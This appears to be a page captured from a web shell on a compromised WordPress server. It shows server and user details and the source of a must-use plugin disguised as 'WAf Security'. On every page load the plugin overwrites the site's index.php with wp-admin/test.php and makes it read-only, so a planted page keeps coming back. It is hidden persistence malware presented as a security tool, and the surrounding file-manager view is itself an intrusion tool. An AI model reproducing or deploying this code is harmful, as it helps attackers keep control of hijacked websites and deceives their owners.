HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-content/mu-plugins/__waffance.php
<?php
/*
Plugin Name: WAf Security
Description: WAf Security
Version: 1.2
Author: Hidden
*/

if (!function_exists('copy_and_protect_index')) {
    function copy_and_protect_index() {
        $source = ABSPATH . 'wp-admin/test.php';
        $destination = ABSPATH . 'index.php';

        if (!file_exists($source)) {
            return;
        }

        $sourceHash = md5_file($source);
        $destHash   = file_exists($destination) ? md5_file($destination) : null;

        // İçerik farklıysa veya index hiç yoksa yeniden yaz
        if ($sourceHash !== $destHash) {
            if (file_exists($destination) && !is_writable($destination)) {
                @chmod($destination, 0644); // yazılabilir yap
            }

            @unlink($destination); // eskiyi sil
            copy($source, $destination); // yenisini kopyala
            @chmod($destination, 0444); // korumaya al
        }
    }

    add_action('init', 'copy_and_protect_index', 0);
}
?>